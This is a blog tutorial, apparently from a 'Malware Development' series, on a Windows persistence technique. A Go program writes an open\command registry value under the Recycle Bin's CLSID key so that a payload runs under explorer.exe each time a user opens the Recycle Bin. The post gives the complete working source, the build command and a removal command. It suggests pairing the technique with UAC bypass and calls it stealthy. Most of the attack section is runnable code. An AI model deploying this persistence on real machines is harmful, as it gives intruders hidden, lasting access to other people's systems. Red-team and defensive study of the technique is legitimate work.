Waseem Akram

Malware Development 3 - Persistence via Recycle Bin (Golang)

By Waseem Akram on 10/15/2024

Today we’re gonna see an effective technique to mantain access in Windows systems during red team operations just by modifying a registry key...

Malware Development 3 - Persistence via Recycle Bin (Golang)

Introduction

Today we’re gonna see an effective technique to mantain access in Windows systems during red team operations just by modifying a registry key which interacts with the Recycle Bin. I don’t know if any APT group uses this technique but I read about it in a vxunderground paper (see here) and I thought it may be interesting to try in Golang so let’s see how it works.

Explanation

In Windows there are some folders which have have uniques CLSID values like the ones for the “Recycle Bin” {645ff040-5081-101b-9f08-00aa002f954e} or the “My Documents” {450d8fba-ad25-11d0-98a8-0800361b1103}

All of this may sound familiar to you if you’ve ever tried the fodhelper.exe UAC bypass in which the registry HKCU is modified to execute commands as administrator without any confirmation.

Code

First of all we must import the necessary packages. In this case we’ll use the official Golang package to interact with registry keys

package main
 
import (
  "fmt"
  "log"
 
  "golang.org/x/sys/windows/registry"
)

Explanation of the Given Code

This code is written in the Go programming language. Let's break it down step by step.

1. Package Declaration

package main

Every Go program starts with a package declaration. The main package is used for executable programs, and it tells the Go compiler that this is an executable program rather than a shared library.

2. Import Statements

import (
  "fmt"
  "log"
 
  "golang.org/x/sys/windows/registry"
)

The import keyword is used to include external packages in our program. In this case, we are importing three packages: fmt, log, and golang.org/x/sys/windows/registry.

  • The fmt package provides functions for formatting and printing output.
  • The log package provides functions for logging messages.
  • The golang.org/x/sys/windows/registry package provides functions for interacting with the Windows registry.

We have to open the CLSID registry key

...
 
bin_key, err := registry.OpenKey(
  registry.LOCAL_MACHINE,
  "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
  registry.WRITE, // Permissions
)
 
if err != nil {
  fmt.Println("OpenKey error!")
  log.Fatal(err)
}
defer bin_key.Close()
 
...
  • This section of code attempts to open a specific key in the Windows registry.

  • registry.OpenKey is a function that takes three arguments:

    • registry.LOCAL_MACHINE: This specifies the part of the registry we are accessing (the local machine's registry).
    • "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell": This is the path to the specific registry key we want to open. It is formatted as a string and uses double backslashes (\\) to escape the backslash character.
    • registry.WRITE: This specifies the permissions we want to have on the key. In this case, we want to write to it.
  • After attempting to open the registry key, we check if there was an error

    • if err != nil: This condition checks if an error occurred (i.e., if err is not nil).
    • If there is an error, it prints an error message and logs the error using log.Fatal(err), which also terminates the program.

    Closing the Registry Key

    defer bin_key.Close()
    • defer is a keyword that schedules the Close method to be called when the surrounding function (not shown here) exits.
    • This ensures that the opened registry key is properly closed to free resources, even if an error occurs later in the code.

    Then we create the new registry where our malicious commands will be

    ...
     
    k, _, err := registry.CreateKey(
      bin_key,
      "open\\command",
      registry.ALL_ACCESS,
    )
     
    if err != nil {
      fmt.Println("CreateKey error!")
      log.Fatal(err)
    }
     
    ...
    • This section of code creates a new registry key.

  • registry.CreateKey is a function that takes three arguments:

    • bin_key: This is the parent key we opened earlier. The new key will be created under this key.
    • "open\\command": This is the name of the new registry subkey we want to create. It is formatted as a string and uses double backslashes (\) to escape the backslash character.
    • registry.ALL_ACCESS: This specifies the permissions for the new key. In this case, it grants all possible access rights.

    And finally we set the value, in our case it’s a simple notepad but you could be creative to combine it with other things like UAC bypass and more

    ...
     
    err = k.SetStringValue("", "notepad.exe")
    if err != nil {
      log.Fatal(err)
    }
     
    ...

    Let’s add more output and the final code should be something like this:

    package main
     
    /*
     
    Author: Waseem Akram
    Blog post: https://hackerwasii.com/blogposts/malware-development-3-persistence-via-recycle-bin-golang
     
    */
     
    import (
      "fmt"
      "log"
     
      "golang.org/x/sys/windows/registry"
    )
     
    func main(){
     
      // Open registry key
      fmt.Println("Opening registry key...")
      bin_key, err := registry.OpenKey(
        registry.LOCAL_MACHINE,
        "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
        registry.WRITE,
      )
     
      if err != nil { // Handle error
        fmt.Println("OpenKey error!")
        log.Fatal(err)
      }
      // Close key
      defer bin_key.Close()
     
      // Create new key
      fmt.Println("Creating new key...")
      k, _, err := registry.CreateKey(
        bin_key,
        "open\\command",
        registry.ALL_ACCESS,
      )
     
      if err != nil { // Handle error
        fmt.Println("CreateKey error!")
        log.Fatal(err)
      }
     
      // Set value
      fmt.Println("Setting notepad.exe as our payload...")
      err = k.SetStringValue("", "notepad.exe")
      if err != nil { // Handle error
        fmt.Println("SetStringValue error!")
        log.Fatal(err)
      }
     
      fmt.Println("Process completed!")
    }

    Now we compile our payload and transfer it to our Windows testing machine

    GOOS=windows GOARCH=amd64 go build -o recyclebin.exe main.go

    Compiler-output

    I haven’t read anywhere if this operation can be done without administrator privileges but testing in my Windows it always returned “Access denied”

    Be careful with your payload because testing with cmd.exe and notepad, I created an infinite loop and I had to restart my PC

    As you can see after clicking the recycle bin icon a notepad.exe appears

    Notepad-image

    Now if we search the parent process id (PPID) of the notepad.exe we see that it’s executed under explorer.exe process

    process-id

    To revert our modifications you can simply execute this powershell command Remove-Item -Path "HKLM:\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" -Recurse -Force and it should work for you

    References

    https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf
    https://blog.amartinsec.com/posts/recyclebin/

    Conclusion

    This persistence technique can be useful for red teamers as it’s stealthy and everyone use the recycle bin to delete files so the payload would be executed whenever a user access to it. But the registry key can be monitored to prevent this so blue teamers should have this technique in mind

    Other Posts You Might Like

    11/14/2024
    ·
    Waseem Akram

    Complete Wifi Hacking Course 2024

    This course is designed to be hands-on and beginner-friendly, so even if you’re new to the world of network security, you’ll be able to follow along with ease. By the end, you'll have a

    Read More
    11/8/2024
    ·
    Waseem Akram

    Malware Development 5 - Malware analysis evasion via Api Hashing (Golang)

    Today we’re going to see how real malware protect themselves from being analyzed using a technique called Api Hashing. First of all we should...

    Read More
    10/17/2024
    ·
    Waseem Akram

    Malware Development 4 - Dump lsass.exe process + AV/EDR evasion (Golang)

    Today we’ll dump LSASS.EXE process memory to obtain credentials and we also will be using some evasion techniques. During red team...

    Read More
    10/14/2024
    ·
    Waseem Akram

    Malware Development 2 UuidFromString shellcode injection (Golang)

    Today we’ll learn an advanced shellcode injection technique used by Lazarus group which uses UuidFromStringA API call. In this technique, the malware..

    Read More
    10/5/2024
    ·
    Waseem Akram

    How Hackers Target Instagram Accounts & How to Protect Yourself in 2024

    Instahack is a security tool officially designed to test the password strength of Instagram accounts using termux and kali with a brute force attack...

    Read More
    10/1/2024
    ·
    Waseem Akram

    Malware Development 1 - CreateRemoteThread shellcode injection (Golang)

    Today we’re gonna see a simple malware development technique, Shellcode injection via CreateRemoteThread in Golang...

    Read More